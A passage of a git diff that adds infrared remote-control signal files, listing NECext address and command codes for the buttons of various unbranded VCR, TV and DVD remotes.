+name: VOLUME_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: VOL_V +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: ANT/AUX +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown/25,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown/25,-1.ir new file mode 100644 index 000000000..3314ea136 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown/25,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: [1]_CHANNEL_^ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 00 00 00 00 +# +name: [1]_CHANNEL_V +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 01 00 00 00 +# +name: [1]_SLOW_+ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 02 00 00 00 +# +name: [1]_SLOW_- +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 03 00 00 00 +# +name: [1]_CANCEL/STOP_[] +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 04 00 00 00 +# +name: [1]_ENTER/PLAY_> +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 05 00 00 00 +# +name: [1]_REC +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 06 00 00 00 +# +name: [1]_POWER +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 08 00 00 00 +# +name: [1]_RESET +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 09 00 00 00 +# +name: [1]_VCR/TV +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0A 00 00 00 +# +name: [1]_FF/SRCH_>> +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0C 00 00 00 +# +name: [1]_REW/SRCH_<< +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0D 00 00 00 +# +name: [1]_PAUSE/STILL_ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0E 00 00 00 +# +name: [1]_1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 10 00 00 00 +# +name: [1]_2 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 11 00 00 00 +# +name: [1]_3 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 12 00 00 00 +# +name: [1]_4 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 13 00 00 00 +# +name: [1]_5 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 14 00 00 00 +# +name: [1]_6 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 15 00 00 00 +# +name: [1]_7 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 16 00 00 00 +# +name: [1]_8 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 17 00 00 00 +# +name: [1]_9 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 18 00 00 00 +# +name: [1]_0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1A 00 00 00 +# +name: [1]_SP/EP +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1B 00 00 00 +# +name: [1]_SEARCH_INDEX +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 62 00 00 00 +# +name: [1]_TAPE_RETURN +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 72 00 00 00 +# +name: [1]_INDEX_WRITE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 75 00 00 00 +# +name: [1]_INDEX_ERASE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 76 00 00 00 +# +name: [1]_ADDRESS +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 84 00 00 00 +# +name: [1]_TAPE_REMAIN +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 85 00 00 00 +# +name: [1]_SEARCH_TIME +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 9D 00 00 00 +# +name: [1]_CVC +type: parsed +protocol: NECext +address: 19 00 00 00 +command: EF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown/25,231.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown/25,231.ir new file mode 100644 index 000000000..458ccb5ee --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown/25,231.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: [2]_CHANNEL_^ +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 00 00 00 00 +# +name: [2]_CHANNEL_V +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 01 00 00 00 +# +name: [2]_SLOW_+ +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 02 00 00 00 +# +name: [2]_SLOW_- +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 03 00 00 00 +# +name: [2]_CANCEL/STOP_[] +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 04 00 00 00 +# +name: [2]_ENTER/PLAY_> +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 05 00 00 00 +# +name: [2]_REC +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 06 00 00 00 +# +name: [2]_POWER +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 08 00 00 00 +# +name: [2]_RESET +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 09 00 00 00 +# +name: [2]_VCR/TV +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 0A 00 00 00 +# +name: [2]_FF/SRCH_>> +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 0C 00 00 00 +# +name: [2]_REW/SRCH_<< +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 0D 00 00 00 +# +name: [2]_PAUSE/STILL_ +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 0E 00 00 00 +# +name: [2]_1 +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 10 00 00 00 +# +name: [2]_2 +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 11 00 00 00 +# +name: [2]_3 +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 12 00 00 00 +# +name: [2]_4 +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 13 00 00 00 +# +name: [2]_5 +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 14 00 00 00 +# +name: [2]_6 +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 15 00 00 00 +# +name: [2]_7 +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 16 00 00 00 +# +name: [2]_8 +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 17 00 00 00 +# +name: [2]_9 +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 18 00 00 00 +# +name: [2]_0 +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 1A 00 00 00 +# +name: [2]_SP/EP +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 1B 00 00 00 +# +name: [2]_SEARCH_INDEX +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 62 00 00 00 +# +name: [2]_TAPE_RETURN +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 72 00 00 00 +# +name: [2]_INDEX_WRITE +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 75 00 00 00 +# +name: [2]_INDEX_ERASE +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 76 00 00 00 +# +name: [2]_ADDRESS +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 84 00 00 00 +# +name: [2]_TAPE_REMAIN +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 85 00 00 00 +# +name: [2]_SEARCH_TIME +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: 9D 00 00 00 +# +name: [2]_CVC +type: parsed +protocol: NECext +address: 19 E7 00 00 +command: EF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir new file mode 100644 index 000000000..3c742b46f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 01 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 04 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 05 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 06 00 00 00 +# +name: OPERATE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 08 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir new file mode 100644 index 000000000..8758bfb26 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 01 00 00 00 +# +name: StillAdv +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 03 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 04 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 05 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 06 00 00 00 +# +name: Operate +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 08 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0A 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0E 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir new file mode 100644 index 000000000..775b1302a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 01 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 03 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 04 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 05 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 06 00 00 00 +# +name: OPERATE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 08 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 09 00 00 00 +# +name: VCR_V +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0A 00 00 00 +# +name: COUNT._MEM. +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0B 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0E 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1A 00 00 00 +# +name: SET_+_/_SHIFT_+ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1E 00 00 00 +# +name: TIMER_MODE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 82 00 00 00 +# +name: TIMER_RECORD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 83 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 84 00 00 00 +# +name: TIMER/COUNTER +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 85 00 00 00 +# +name: SET_-_/_SHIFT_- +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 88 00 00 00 +# +name: DIGITAL_MEM. +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 90 00 00 00 +# +name: STROBE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 9A 00 00 00 +# +name: DIGITAL_NR +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 9C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir new file mode 100644 index 000000000..7462b6be0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 30 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 31 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 34 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 35 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 36 00 00 00 +# +name: Freeze +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 37 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 38 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 39 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3C 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3D 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3E 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3F 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 40 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 41 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 42 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 43 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 44 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 45 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 46 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 47 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 48 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4B 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4C 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4F 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 50 00 00 00 +# +name: Random +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 51 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 53 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 55 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 56 00 00 00 +# +name: Program +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 57 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 58 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 59 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 5A 00 00 00 +# +name: Freeze_Back +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 60 00 00 00 +# +name: Marker +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 61 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 62 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 64 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir new file mode 100644 index 000000000..f0610d10a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir @@ -0,0 +1,332 @@ +Filetype: IR signals file +Version: 1 +# +name: prog_+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 00 00 00 00 +# +name: prog_- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 03 00 00 00 +# +name: -A- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 04 00 00 00 +# +name: -B- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 05 00 00 00 +# +name: -C- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 06 00 00 00 +# +name: -D- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 09 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0A 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0B 00 00 00 +# +name: Hue_+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0C 00 00 00 +# +name: Hue_- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0D 00 00 00 +# +name: Norm +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0E 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 18 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 19 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1A 00 00 00 +# +name: KEY_2- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1B 00 00 00 +# +name: shift_-A- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1C 00 00 00 +# +name: timer_off +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1E 00 00 00 +# +name: timer_on +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1F 00 00 00 +# +name: Bass_+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 42 00 00 00 +# +name: Bass_- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 43 00 00 00 +# +name: Treble_+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 44 00 00 00 +# +name: Treble_- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 45 00 00 00 +# +name: contr_+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 46 00 00 00 +# +name: contr_- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 47 00 00 00 +# +name: Mode_+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 48 00 00 00 +# +name: Mode_- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 49 00 00 00 +# +name: Bright_+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 4A 00 00 00 +# +name: Bright_- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 4B 00 00 00 +# +name: Erase +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 53 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 54 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 55 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 56 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 57 00 00 00 +# +name: F_FWD +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 58 00 00 00 +# +name: shift_-/-- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 59 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 5A 00 00 00 +# +name: shift_Menu +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 5B 00 00 00 +# +name: shift_2- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 5C 00 00 00 +# +name: shift_|> +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 5D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 5E 00 00 00 +# +name: |> +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 5F 00 00 00 +# +name: shift_Mode +type: parsed +protocol: NECext +address: 18 00 00 00 +command: C3 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir new file mode 100644 index 000000000..2894bbd4f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 01 00 00 00 +# +name: VOLUME_/ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_/ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 03 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 04 00 00 00 +# +name: STANDARD +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 05 00 00 00 +# +name: OPERATE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 09 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0A 00 00 00 +# +name: CONTROL_/ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0C 00 00 00 +# +name: CONTROL_/ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0D 00 00 00 +# +name: POSITION_CALL +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 18 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 19 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1A 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1B 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir new file mode 100644 index 000000000..6191d50ac --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 03 00 00 00 +# +name: RGB_1 +type: parsed +protocol: NECext +address: 18 E9 00 00 